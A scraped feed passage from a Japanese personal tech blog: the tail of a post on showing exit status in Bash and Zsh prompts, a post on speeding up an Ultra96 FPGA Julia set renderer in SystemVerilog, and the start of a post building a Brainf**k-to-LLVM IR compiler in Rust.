こんな感じにしておけば、直前のコマンドが失敗したかを次のコマンドを入力する前に気づけますし、仮に複数のコマンドをコピペ[^copy_paste]したときでも、どこで失敗したのかがひと目でわかるようになります。便利ですね。

[^copy_paste]: 複数コマンドを一度にコピペするのは安全でないのであまりおすすめはしませんね... 具体的な手法を書くのは最近不穏なのでやらないですが  
ちなみに僕はなにか説明するテキストを書くとき、コマンドの最初にわざと `$` 記号を付けるようにしているのですが、これは複数のコマンドのコピペをしにくくするというねらいがあったりもします

[^dotfiles]: 僕の Zsh の設定はここにあります &lt;https://github.com/Tosainu/dotfiles/blob/master/.zshrc&gt;

### Bash の場合

`echo $SHELL` という感じのコマンドを実行したときに `/bin/bash` などが表示されたら、その環境では Bash というシェルがデフォルトで使われるようになっています。

僕は普段 Bash を (カスタマイズして) 使わないのでいろいろ調べてみたところ、[`PROMPT_COMMAND`](https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#index-PROMPT_005fCOMMAND) をいじるといろいろ高度なことができそうです。とはいえ、最小限の設定で済ませるのであれば、`~/.bashrc` にこんな感じの行を追記するだけでよさそうです。

```bash
PS1=&quot;\$(ret=\$?; if [[ \$ret != &apos;0&apos; ]]; then echo -n \&quot;$(tput bold)$(tput setaf 1)\$ret$(tput sgr0) \&quot;; fi)${PS1}&quot;
```

[`PS1`](https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#index-PS1)は、通常のプロンプトの文字列が設定されるシェル変数です。`./bashrc` に上記の行を追記することで、デフォルトで設定された `PS1` の先頭に Exit status 表示のための設定が入った文字列が再設定されます。追加している文字列は `\$(...)` という感じになっています。詳しい説明は省略しますが、こうすることでプロンプトが表示されるときにカッコ内のコマンドが評価され、そこで出力された文字列で `\$(...)` が置換されるようになります。

`\$(...)` 内のコマンドを展開するとだいたいこんな感じ[^escape]になります。まず直前のコマンドの Exit status `$?` を変数 `ret` に退避させ、その値がゼロでなかったら `echo(1)` で表示、という感じです。ちなみに `echo(1)` に `-n` オプションを付けると、末尾の改行が出力されなくなります。

```bash
ret=$?
if [[ $ret != &apos;0&apos; ]]; then
  echo -n &quot;$ret &quot;
fi
```

[^escape]: 上記例で実際に設定されている文字列は、[`tput(1)`](https://linux.die.net/man/1/tput) により出力した Exit status を赤太字で表示するためのエスケープシーケンスなどが含まれています

この設定をしてみた Bash (version 5.0.7) の例がこれです。いい感じですね。
![](./bash.svg)

### Zsh の場合

`echo $SHELL` という感じのコマンドを実行したときに `/bin/zsh` などが表示されたら、その環境では Zsh というシェルがデフォルトで使われるようになっています[^zsh]。

[^zsh]: まぁ Zsh が設定されているなら、たぶんこんなこと書かなくてもわかる方が大半だとは思いますが

Zsh でも Bash で上げた例は有効です[^prompt_subst]。けれども Zsh は [zsh: 13 Prompt Expansion](http://zsh.sourceforge.net/Doc/Release/Prompt-Expansion.html) にあるように `%` で始まるエスケープシーケンスが豊富で、これを使ったほうがいい感じに書くことができます。

[^prompt_subst]: ただし、プロンプト文字列内の `$()` ([Command Substitution](http://zsh.sourceforge.net/Doc/Release/Expansion.html#Command-Substitution) というらしい) を展開するため [`PROMPT_SUBST`](http://zsh.sourceforge.net/Doc/Release/Options.html#Prompting) オプションが有効にされている必要があります

[Shell state](http://zsh.sourceforge.net/Doc/Release/Prompt-Expansion.html#Shell-state) にあるように、Zsh のプロンプトでは `%?` が Exit status に展開されます。これに [Conditional Substrings in Prompts](http://zsh.sourceforge.net/Doc/Release/Prompt-Expansion.html#Conditional-Substrings-in-Prompts) で紹介されている `%(x.true-text.false-text)` と [Visual effects](http://zsh.sourceforge.net/Doc/Release/Prompt-Expansion.html#Visual-effects) の各種エスケープシーケンスを組み合わせ、こんな感じの記述を `~/.zshrc` に追記することで Exit status が非ゼロならプロンプトの先頭にその値を赤太字で表示が実現できます。

```zsh
# &apos;%&apos; で始まるエスケープシーケンスが展開されるようにする
# デフォルトで有効になっている？ので必要ないかも
setopt prompt_percent

PROMPT=&apos;%(?..%B%F{red}%?%f%b )${PROMPT}&quot;
```

これを設定してみた Zsh (5.7.1) の例がこんな感じです。
![](./zsh.svg)

## おわり

Exit status の重要さと、その値をプロンプトに表示することで、コマンド実行結果をひと目でわかるようにするテクニックを紹介をしました。これでシェル上での作業の問題を特定しやすくしたり、あいまいな質問に困る方が少しでも減ってくれるといいなと思います。

重要な値や文字列をプロンプトに表示したり、色を付けたりするのは Exit statusに限らず有効的だと思います。例えば Git などのバージョン管理システムの状態を表示するようにしたり、SSH などで複数のマシンをまたいだ作業をするならホスト名を目立つようにしておくと、コマンドを目的と違うホストで実行してしまう事故の抑制になったりするでしょう。この機会に、自分だけの最高のプロンプトを作ってみるのもいいのではないでしょうか。</content:encoded></item><item><title>Ultra96 で Julia set をぐりぐり動かせるやつをもう少し強くした</title><link>https://myon.info/blog/2019/08/29/ultra96-julia-set-explorer-2/</link><guid isPermaLink="true">https://myon.info/blog/2019/08/29/ultra96-julia-set-explorer-2/</guid><pubDate>Thu, 29 Aug 2019 00:00:00 GMT</pubDate><content:encoded>以前 [Ultra96 で Julia set をぐりぐり動かせるやつ](/blog/2019/05/15/ultra96-julia-set-explorer/) ([GitHub](https://github.com/Tosainu/ultra96-fractal)) の紹介をしました。この時点で当初作ろうとしていたものをだいたい実現できていたのですが、満足していない箇所もいくつかありました。

今回それらの点を改善して性能をあげたり、機能を追加したりしました。どんな感じに強くなったのかを紹介していきます。

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;一度 HDL 書く開発してみたいなーってことで冬・春に HLS で書いたのを SystemVerilog で書き直してた。&lt;a href=&quot;https://t.co/h7HXFqsaHa&quot;&gt;https://t.co/h7HXFqsaHa&lt;/a&gt; と比較して動作クロック3倍 (100➡300MHz)、描画速度2.67倍 (6➡16fps) に改善できて、色も変えれるようになった。 &lt;a href=&quot;https://t.co/GoizfFcpYa&quot;&gt;pic.twitter.com/GoizfFcpYa&lt;/a&gt;&lt;/p&gt;&amp;mdash; ✧*。ヾ(｡˃﹏˂｡)ﾉﾞ。*✧ (@myon___) &lt;a href=&quot;https://twitter.com/myon___/status/1163835624710795264?ref_src=twsrc%5Etfw&quot;&gt;August 20, 2019&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

&lt;!--more--&gt;

## 描画パイプラインの改善

前回 Vivado HLS で実装した Julia set 描画回路は、僕の Vivado HLS 力の不足で「ぼくのかんがえたさいきょうの Julia set レンダリングパイプライン」にすることができていませんでした。

今までのパイプラインを簡単に図にするとこんな感じです。$f_c(z)$ を1度だけ評価する浅いパイプライン (6ステージと仮定) を持つ回路を、性能を稼ぐために複数並べている構造になっていました。

![](./pipeline1.svg)

このため出力ポートが24bit ✕ 32並列で 768bit と、とても広くなっていました。[雑に Vivado HLS で書いた回路](https://github.com/Tosainu/ultra96-fractal/blob/v0.0.2/hls_ip/data_width_converter/data_width_converter.cc)を挟んでデータを分割したりはしていましたがそれでも扱いづらかったですし、データがそんなに速くないのにこのデータ幅に対応させるためオーバースペックな周辺回路と接続する必要があり、性能面やリソース使用量の面でも微妙でした。

これを解決して「ぼくのかんがえたさいきょうの Julia set レンダリングパイプライン」にするために、回路の複製をやめ、$f_c(z)$ を何度か評価する深いパイプラインにしました。図にするとこんな感じです。

![](./pipeline2.svg)

このようなパイプラインにすることで、前述したパイプラインと同程度の並列度を確保しつつ出力データ幅を1回路分に抑えることができます。実際には様々な要因によるリソースの増加[^res]の関係で HLS 版より並列度を32から29へ落とすことになり、クロックあたりの描画性能は15%ほど若干落ちてしまいましたが、無駄に大きな周辺回路と接続する必要などもなくとても扱いやすくなりました。

ちなみに、これを実現するため SystemVerilog での書き直しをしています。現状の実装が[こんな感じ](https://github.com/Tosainu/ultra96-fractal/blob/6a761b5facba503c95e770bc72bd3383dd1909f6/src/fractal_generator.sv)です。1度 HDL をガリガリ書く開発をしてみたいなと思っていたのと、目的の回路がある程度イメージできているなら HLS コンパイラの気持ちを考えながら `pragma` を追加したり書き方を変えていくより直接書いていったほうが楽だろうという判断です。前回 Vivado HLS で試せるだけのことはやったのでこれ以上の対処が思いつかなかったからというのもあります。

[^res]: 乗算処理のパイプライン化などにより DSP Slice の使用量が増加したため (32bit 乗算器1つあたり3 :arrow_right: 4)、回路の簡略化のため実際には256回以上 $f_c(z)$ を評価しているため、Vivado HLS が行っていた過度のリソースシェアリングを行っていないため、など

## 描画回路の動作クロック改善

[UltraScale Architecture DSP Slice User Guide](https://www.xilinx.com/support/documentation/user_guides/ug579-ultrascale-dsp.pdf) に書かれているように、DSP Slice を使った乗算回路はパイプライン化で性能向上と低消費電力化が可能で、そのような使い方を推奨しています。しかし前回実装した Julia set 描画回路は、Ultra96 で利用可能な DSP Slice のほぼ全てを使うほどの乗算回路を含んでいるにもかかわらず、その全てがパイプライン化されていない、組み合わせ回路として実装されていました。そのため、せいぜい 100MHz 程度で動作させるのが限界でした。

![](./dsp.svg)

動作クロックの改善は性能に大きく関わります。そこで、前述したパイプラインの改善と並行して描画回路の動作クロック向上も行いました。

乗算回路のパイプライン化はそんなに難しくはありません。Vivado HLS なら [`RESOURCE` ディレクティブで `latency` を指定したり `core` に `MulnS` を指定する](https://www.xilinx.com/support/documentation/sw_manuals/xilinx2019_1/ug902-vivado-high-level-synthesis.pdf#page=172) ことでできるようです。VHDL や Verilog など各種 HDL であれば、[AR# 8657](https://www.xilinx.com/support/answers/8657.html) で紹介されているように、乗算処理の入力と出力に適切な数のレジスタを挿入することで、いい感じに合成してくれます。Verilog の例を引用するとこんな感じです。

&gt; ```verilog
&gt; module pipelined_multiplier ( a, b, clk, pdt);
&gt; /*
&gt; * parameter &apos;size&apos; is the width of multiplier/multiplicand;.Application Notes 10-5
&gt; * parameter &apos;level&apos; is the intended number of stages of the
&gt; * pipelined multiplier;
&gt; * which is typically the smallest integer greater than or equal
&gt; * to base 2 logarithm of &apos;size&apos;
&gt; */
&gt; parameter size = 16, level = 4;
&gt; input [size-1 : 0] a;
&gt; input [size-1 : 0] b;
&gt; input clk;
&gt; output [2*size-1 : 0] pdt;
&gt; reg [size-1 : 0] a_int, b_int;
&gt; reg [2*size-1 : 0] pdt_int [level-1 : 0];
&gt; integer i;
&gt; 
&gt; assign pdt = pdt_int [level-1];
&gt; 
&gt; always @ (posedge clk)
&gt; begin
&gt;   // registering input of the multiplier
&gt;   a_int &lt;= a;
&gt;   b_int &lt;= b;
&gt;   // &apos;level&apos; levels of registers to be inferred at the output
&gt;   // of the multiplier
&gt;   pdt_int[0] &lt;= a_int * b_int;
&gt;   for(i =1;i &lt;level;i =i +1)
&gt;     pdt_int [i] &lt;= pdt_int [i-1];
&gt; end // always @ (posedge clk)
&gt; 
&gt; endmodule // pipelined_multiplier
&gt; ```

しかしパイプラインの段数を適切に設定してやらないと十分な性能を発揮してくれません。じゃあどの程度の値を指定すればいいのかの資料などを見つけることはできませんでしたが、Synthesis 時にレジスタが不足している とこんな感じの Info レベルのメッセージが出るので、その値を参考にすればよさそうでした。

    INFO: [Synth 8-5845] Not enough pipeline registers after wide multiplier. Recommended levels of pipeline registers is 4 [mul.sv:22]

これらの取り組みにより、動作クロックは 300MHz まで上げることができ、描画性能は 16fps くらいまで出るようになりました。Vivado の Timing report を見た感じまだ余裕がありそうなので、機会があればもっと高いクロックでの動作を目指してみたいです。

## ステータス表示の実装

前回紹介した時点では未実装で適当な値が表示されていたステータス表示部分をちゃんと実装しました。

![](./status.png)

## 表示アプリケーションを libdrm + Mesa GBM ベースに変更

前回紹介した時点ではなにか特別な設定をしていたわけではないので、表示アプリを起動するために Weston Terminal から `fractal-explorer` コマンドを実行するなどの手間が必要でした。せっかくなら Ultra96 の電源を入れたら何もせず表示アプリが起動するようにしたいところです。

いろいろ調べてみたものの、Weston で任意のアプリケーションをいい感じに自動起動させる方法は無さそうでした。表示アプリを IME として扱う Hack や Weston module を作る方法なども検討しましたが、うーん...

しかし改めて考えてみると、実装した表示アプリの画面表示部分は OpenGL/EGL で書いていますし、操作するためのゲームパッドの入力も自前で処理しているので、「Wayland への依存ほとんどないのでは？」となります。ということで表示アプリを Weston 上で動かす Wayland client として実装するのをやめ、Linux をブートさせた後 libdrm や Mesa GBM を使って接続されているディスプレイに直接 OpenGL/EGL の context を作ってそこに表示するような実装へ変更しました。自動起動は [weston-init](https://layers.openembedded.org/layerindex/recipe/90245/) パッケージの実装を参考に、`/etc/init.d/` 下に[サービス](https://github.com/Tosainu/ultra96-fractal/blob/6a761b5facba503c95e770bc72bd3383dd1909f6/petalinux_project/project-spec/meta-user/recipes-apps/fractal-explorer/files/init)を作ることで実現しました。

libdrm や GBM の扱い方に関するドキュメント等はあまり豊富ではありません。しかし次のようなコメントが豊富な参考実装が結構あり、それがとても参考になりました。

- [docs/drm-howto at master · dvdhrm/docs](https://github.com/dvdhrm/docs/tree/master/drm-howto)
- [tutorials/drm-gbm.c at master · eyelash/tutorials](https://github.com/eyelash/tutorials/blob/master/drm-gbm.c)
- [Miouyouyou/Linux_DRM_OpenGLES.c](https://gist.github.com/Miouyouyou/89e9fe56a2c59bce7d4a18a858f389ef)

## まとめ

今回 HDL を使った実装も行ったことで、この「Ultra96 で Julia set をぐりぐり動かせるやつ」を通して近年の FPGA に関わる主要な開発方法をひと通り経験することになりました。新たに知ることが多くてとても楽しかったですし、良い経験だったなと思います。コンピュータアーキテクチャに再び大きな注目がされつつある[^2]時代でもありますし、このような開発が趣味レベルでももっと流行ると面白いのではないかなと思っています。

[^2]: &lt;https://cacm.acm.org/magazines/2019/2/234352-a-new-golden-age-for-computer-architecture/fulltext&gt;</content:encoded></item><item><title>Brainf**k からはじめる自作コンパイラ</title><link>https://myon.info/blog/2019/10/21/make-own-language-and-compiler/</link><guid isPermaLink="true">https://myon.info/blog/2019/10/21/make-own-language-and-compiler/</guid><pubDate>Mon, 21 Oct 2019 00:00:00 GMT</pubDate><content:encoded>コンパイラやインタプリタは、プログラミングをするときほぼ必ず使うことになる重要なソフトウェアです。その原理ついては大学の講義で学んだことのある人も多いのではないでしょうか。

とはいえ、原理を学んだところでそれがシュッと実装できるかはコンパイラに限らずそうではない場合が多いと思います。僕もその1人でした。コンパイラの講義や Haskell でパーサコンビネータを実装した流れからコンパイラの実装に興味を持ったものの、どの程度の機能をどう実装するかに悩んでなかなか進まず、結局ほかにもやりたいことがあるからと有耶無耶になってしまった経験があったりします。

最近ふと「そういえば [Brainf\*\*k](https://en.wikipedia.org/wiki/Brainfuck) の処理系って書いたことなかったな」と思い、以前読んで気になっていた [itchyny さんのブログ記事](https://itchyny.hatenablog.com/entry/2017/02/27/100000)を参考にしながら Brainf\*\*k を LLVM IR にするコンパイラのようなものを実装してみたことがありました。

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;Brainf**k の処理系って未だに書いたことないなーってことで、インタプリタと LLVM IR を出力するコンパイラみたいなの書いてた &lt;a href=&quot;https://t.co/FlSdpxU3yX&quot;&gt;https://t.co/FlSdpxU3yX&lt;/a&gt;&lt;/p&gt;&amp;mdash; +。:.ﾟ٩(๑＞◡＜๑)۶:.｡+ﾟ (@myon___) &lt;a href=&quot;https://twitter.com/myon___/status/1167413225211625472?ref_src=twsrc%5Etfw&quot;&gt;August 30, 2019&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

これが数時間もしないうちに実装できてしまったことにまず驚きます。そして Brainf\*\*k コンパイラの実装を眺めていると、コンパイラを構成する要素でいうところのコード生成に相当するものではないかということに気づき更に衝撃を受けます。ただ Brainf\*\*k の処理系を書いていたつもりが、いつの間にかコンパイラの一部を、しかも比較的短時間で実装していたのです。

僕はプログラミングを完全に理解しているわけではないので、何かしらの処理をプログラムするときに、まずどのような感じになるかをイメージしやすくするための最小限の実装から始めることがよくあります[^coding]。コンパイラもそうすればよかったのです。小さなプログラミング言語？ Brainf\*\*k だ！Brainf\*\*k レベルに機能を制限しつつも見慣れた構文を持つプログラミング言語 ([これ](https://github.com/masarakki/nyaruko_lang) みたいな Brainf\*\*k の命令を別の文字列に置換しただけの言語ではない) を設計し、それを認識する字句解析や構文解析などを実装していけば、とりあえずコンパイラを構成する要素を一通り実装できるのではないか。そんなモチベーションで始めた自作コンパイラ [chiya](https://github.com/Tosainu/chiya) をどのように実装したかの紹介をしていきます。

[^coding]: 具体的な設計などの前に「こんな感じの処理ってプログラムできるかなー」とか「このライブラリ使えないかなー」とかを確認する実装をしたりします

&lt;!--more--&gt;

## 準備

chiya は [Rust](https://www.rust-lang.org/) で実装しました。記事執筆時点でのツールチェインのバージョンは次のとおりです。

    $ rustup --version
    rustup 1.20.2 (2019-10-16)

    $ rustup show active-toolchain
    stable-x86_64-unknown-linux-gnu (default)

    $ rustc --version
    rustc 1.38.0 (625451e37 2019-09-23)

    $ clang --version
    clang version 9.0.0 (tags/RELEASE_900/final)
    Target: x86_64-pc-linux-gnu
    Thread model: posix
    InstalledDir: /usr/bin

プロジェクト[^project]は以下のように作成し、ライブラリと実行ファイルを含むようにしてみました。

    $ cargo new --lib chiya

    $ mkdir -p src/bin
    $ cat &gt; src/bin/chiya.rs &lt;&lt;EOS
    fn main() {
        println!(&quot;Hello, World!&quot;);
    }
    EOS

    $ cargo run
       Compiling chiya v0.1.0 (/path/to/work/dir/chiya)
        Finished dev [unoptimized + debuginfo] target(s) in 1.45s
         Running `target/debug/chiya`
    Hello, World!

[^project]: Rust 的には package ってワードのほうが良さそうかも &lt;https://doc.rust-lang.org/book/ch07-01-packages-and-crates.html&gt;

## Brainf\*\*k レベルのコード生成を実装する

まずは本記事のきっかけともいえる、 Brainf\*\*k の各命令に対応する LLVM assembly language (LLVM IR[^llvm_ir]) を生成する処理から実装します。最初にこんな感じの `trait` を [`src/codegen/emitter.rs`](https://github.com/Tosainu/chiya/blob/c8a26f5cebf89fa41edde83e23873a4837a55d3f/src/codegen/emitter.rs) に実装しました。

[^llvm_ir]: [公式リファレンス](http://releases.llvm.org/9.0.0/docs/LangRef.html#abstract) を見た感じ &quot;LLVM assembly language&quot; や &quot;LLVM language&quot; が正式名称？っぽいけど、この記事では &quot;LLVM IR&quot; と書くことにします

```rust
pub trait Emitter {
    // ptr を offset 進める
    fn emit_move_ptr(&amp;mut self, offset: i32) -&gt; String;

    // *ptr に n 加算する
    fn emit_add(&amp;mut self, n: i32) -&gt; String;

    // putchar() を呼ぶ
    fn emit_call_putchar(&amp;mut self) -&gt; String;

    // getchar() を呼ぶ
    fn emit_call_getchar(&amp;mut self) -&gt; String;

    // ループのはじまり
    fn emit_loop_begin(&amp;mut self) -&gt; String;

    // ループのおわり
    fn emit_loop_end(&amp;mut self) -&gt; String;

    // 生成するコードのヘッダ
    fn emit_header(&amp;self) -&gt; String;

    // 生成するコードのフッタ
    fn emit_footer(&amp;self) -&gt; String;
}
```

続いて [`src/codegen/llvm.rs`](https://github.com/Tosainu/chiya/blob/0142dec5700759efb7b50ee1284fe42e81add906/src/codegen/llvm.rs) にこんな感じのデータ型 `LLVM` を定義しました。各フィールドは与えたソースコード全体のコードを生成するにあたって必要となる情報で、`variable_idx` は次に登場する無名変数のインデックス (LLVM IR で計算の途中結果などを格納する変数 ([Unnamed values](http://releases.llvm.org/9.0.0/docs/LangRef.html#identifiers)) は `%1`, `%2` ... と[登場する順に1からカウントしていく必要がある](http://releases.llvm.org/9.0.0/docs/LangRef.html#functions))、`label_idx` はループで使われるラベルのインデックス、`loop_stack` は今どのループの中にいるかを管理するためのものです。このデータ型に先程定義した `Emitter` のメソッドを生やしていきます。

```rust
use std::collections::VecDeque;

pub struct LLVM {
    variable_idx: u32,
    label_idx: u32,
    loop_stack: VecDeque&lt;u32&gt;,
}

impl LLVM {
    pub fn new() -&gt; LLVM {
        Default::default()
    }
}

impl Default for LLVM {
    fn default() -&gt; Self {
        LLVM {
            variable_idx: 1,
            label_idx: 1,
            loop_stack: VecDeque::new(),
        }
    }
}
```

上で紹介した itchyny さんのブログ記事などと同様に、目的の動作を C で書いて、それがどのような LLVM IR になるかを `clang` で確認しながら実装していく方針で進めました。例えば次のポインタ `ptr` の加算と `ptr` が指す値への加算をする処理は

```c
int main() {
  int* ptr;
  ++ptr;
  ++*ptr;
}
```

`clang -O0 -S --emit-llvm` の出力によればこんな感じの LLVM IR になるようなので

```llvm
; ModuleID = &apos;test.c&apos;
source_filename = &quot;test.c&quot;
target datalayout = &quot;e-m:e-i64:64-f80:128-n8:16:32:64-S128&quot;
target triple = &quot;x86_64-pc-linux-gnu&quot;

; Function Attrs: noinline nounwind optnone sspstrong uwtable
define dso_local i32 @main() #0 {
  %1 = alloca i32*, align 8
  %2 = load i32*, i32** %1, align 8
  %3 = getelementptr inbounds i32, i32* %2, i32 1
  store i32* %3, i32** %1, align 8
  %4 = load i32*, i32** %1, align 8
  %5 = load i32, i32* %4, align 4
  %6 = add nsw i32 %5, 1
  store i32 %6, i32* %4, align 4
  ret i32 0
}

attributes #0 = { noinline nounwind optnone sspstrong uwtable &quot;correctly-rounded-divide-sqrt-fp-math&quot;=&quot;false&quot; &quot;disable-tail-calls&quot;=&quot;false&quot; &quot;less-precise-fpmad&quot;=&quot;false&quot; &quot;min-legal-vector-width&quot;=&quot;0&quot; &quot;no-frame-pointer-elim&quot;=&quot;true&quot; &quot;no-frame-pointer-elim-non-leaf&quot; &quot;no-infs-fp-math&quot;=&quot;false&quot; &quot;no-jump-tables&quot;=&quot;false&quot; &quot;no-nans-fp-math&quot;=&quot;false&quot; &quot;no-signed-zeros-fp-math&quot;=&quot;false&quot; &quot;no-trapping-math&quot;=&quot;false&quot; &quot;stack-protector-buffer-size&quot;=&quot;8&quot; &quot;target-cpu&quot;=&quot;x86-64&quot; &quot;target-features&quot;=&quot;+cx8,+fxsr,+mmx,+sse,+sse2,+x87&quot; &quot;unsafe-fp-math&quot;=&quot;false&quot; &quot;use-soft-float&quot;=&quot;false&quot; }

!llvm.module.flags = !{!0, !1, !2}
!llvm.ident = !{!3}

!0 = !{i32 1, !&quot;wchar_size&quot;, i32 4}
!1 = !{i32 7, !&quot;PIC Level&quot;, i32 2}
!2 = !{i32 7, !&quot;PIE Level&quot;, i32 2}
!3 = !{!&quot;clang version 9.0.0 (tags/RELEASE_900/final)&quot;}
```

`emit_move_ptr()` と `emit_add()` の実装はこうなる、という感じです。

```rust
use crate::codegen::emitter;

impl emitter::Emitter for LLVM {
    fn emit_move_ptr(&amp;mut self, offset: i32) -&gt; String {
        let s = format!(
            r#&quot;
  ; emit_move_ptr({2})
  %{0} = load i32*, i32** %ptr, align 8
  %{1} = getelementptr inbounds i32, i32* %{0}, i32 {2}
  store i32* %{1}, i32** %ptr, align 8&quot;#,
            self.variable_idx,
            self.variable_idx + 1,
            offset
        );
        self.variable_idx += 2;

        s
    }

    fn emit_add(&amp;mut self, n: i32) -&gt; String {
        let s = format!(
            r#&quot;
  ; emit_add({3})
  %{0} = load i32*, i32** %ptr, align 8
  %{1} = load i32, i32* %{0}, align 4
  %{2} = add nsw i32 %{1}, {3}
  store i32 %{2}, i32* %{0}, align 4&quot;#,
            self.variable_idx,
            self.variable_idx + 1,
            self.variable_idx + 2,
            n
        );
        self.variable_idx += 3;

        s
    }

    // ...
}
```

そのほかの実装は長くなるので、ここでは割愛します。

### とりあえず動かしてみる

ここまでで Brainf\*\*k の各命令に対応する LLVM IR を出力できるようになったはずです。最初のコンパイラっぽい動作確認に、Brainf\*\*k のソースコードを読み込み、LLVM IR に変換して出力する Brainf\*\*k コンパイラを書いてみます。

[`src/bin/chiya.rs`](https://github.com/Tosainu/chiya/blob/777b7b8b9243604aa6d1ea6a72d038b73a413a7d/src/bin/chiya.rs) にこんな感じのコードを書きました。標準入力を `src` に全部読み込み、その文字列を 1 文字ずつ見て対応するコードを出力する、というものです。

```rust
use std::io::Read;

use chiya::codegen::emitter::Emitter;
use chiya::codegen::llvm::LLVM;

fn main() -&gt; std::io::Result&lt;()&gt; {
    let mut src = String::new();
    std::io::stdin().read_to_string(&amp;mut src)?;

    let mut e = LLVM::new();

    println!(&quot;{}&quot;, e.emit_header());
    for c in src.chars() {
        let l = match c {
            &apos;&gt;&apos; =&gt; e.emit_move_ptr(1),
            &apos;&lt;&apos; =&gt; e.emit_move_ptr(-1),
            &apos;+&apos; =&gt; e.emit_add(1),
            &apos;-&apos; =&gt; e.emit_add(-1),
            &apos;.&apos; =&gt; e.emit_call_putchar(),
            &apos;,&apos; =&gt; e.emit_call_getchar(),
            &apos;[&apos; =&gt; e.emit_loop_begin(),
            &apos;]&apos; =&gt; e.emit_loop_end(),
            _ =&gt; continue,
        };
        println!(&quot;{}&quot;, l);
    }
    println!(&quot;{}&quot;, e.emit_footer());

    Ok(())
}
```

まずはとても簡単な `A` を出力するだけのコードを入力し、出力された LLVM IR を LLVM インタプリタの [`lli`](http://releases.llvm.org/9.0.0/docs/CommandGuide/lli.html) で実行してみます。

    $ echo &apos;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.&apos; | cargo run -q | lli
    A

[Wikipedia に載っている Hello World!](https://en.wikipedia.org/wiki/Brainfuck#Hello_World!) でもチェック。

    $ cargo run -q &lt; hello_with_comments.bf | lli
    Hello World!

[Erik Bosman さんの Mandelbrot set プログラム](https://rosettacode.org/wiki/Mandelbrot_set#Brainf.2A.2A.2A) だと...

    $ cargo run -q &lt; mandelbrot.bf | lli
    AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDEGFFEEEEDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
    AAAAAAAAAAAAAAABBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDEEEFGIIGFFEEEDDDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBBBBB
    AAAAAAAAAAAAABBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDEEEEFFFI KHGGGHGEDDDDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBB
    AAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDEEEEEFFGHIMTKLZOGFEEDDDDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBB
    AAAAAAAAAAABBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDEEEEEEFGGHHIKPPKIHGFFEEEDDDDDDDDDCCCCCCCCCCBBBBBBBBBBBBBBBBBB
    AAAAAAAAAABBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDEEEEEEFFGHIJKS  X KHHGFEEEEEDDDDDDDDDCCCCCCCCCCBBBBBBBBBBBBBBBB
    AAAAAAAAABBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDEEEEEEFFGQPUVOTY   ZQL[MHFEEEEEEEDDDDDDDCCCCCCCCCCCBBBBBBBBBBBBBB
    AAAAAAAABBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDEEEEEFFFFFGGHJLZ         UKHGFFEEEEEEEEDDDDDCCCCCCCCCCCCBBBBBBBBBBBB
    AAAAAAABBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDEEEEFFFFFFGGGGHIKP           KHHGGFFFFEEEEEEDDDDDCCCCCCCCCCCBBBBBBBBBBB
    AAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDEEEEEFGGHIIHHHHHIIIJKMR        VMKJIHHHGFFFFFFGSGEDDDDCCCCCCCCCCCCBBBBBBBBB
    AAAAAABBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDEEEEEEFFGHK   MKJIJO  N R  X      YUSR PLV LHHHGGHIOJGFEDDDCCCCCCCCCCCCBBBBBBBB
    AAAAABBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDEEEEEEEEEFFFFGH O    TN S                       NKJKR LLQMNHEEDDDCCCCCCCCCCCCBBBBBBB
    AAAAABBCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDEEEEEEEEEEEEFFFFFGHHIN                                 Q     UMWGEEEDDDCCCCCCCCCCCCBBBBBB
    AAAABBCCCCCCCCCCCCCCCCCCCCCCCCCDDDDEEEEEEEEEEEEEEEFFFFFFGHIJKLOT                                     [JGFFEEEDDCCCCCCCCCCCCCBBBBB
    AAAABCCCCCCCCCCCCCCCCCCCCCCDDDDEEEEEEEEEEEEEEEEFFFFFFGGHYV RQU                                     QMJHGGFEEEDDDCCCCCCCCCCCCCBBBB
    AAABCCCCCCCCCCCCCCCCCDDDDDDDEEFJIHFFFFFFFFFFFFFFGGGGGGHIJN                                            JHHGFEEDDDDCCCCCCCCCCCCCBBB
    AAABCCCCCCCCCCCDDDDDDDDDDEEEEFFHLKHHGGGGHHMJHGGGGGGHHHIKRR                                           UQ L HFEDDDDCCCCCCCCCCCCCCBB
    AABCCCCCCCCDDDDDDDDDDDEEEEEEFFFHKQMRKNJIJLVS JJKIIIIIIJLR                                               YNHFEDDDDDCCCCCCCCCCCCCBB
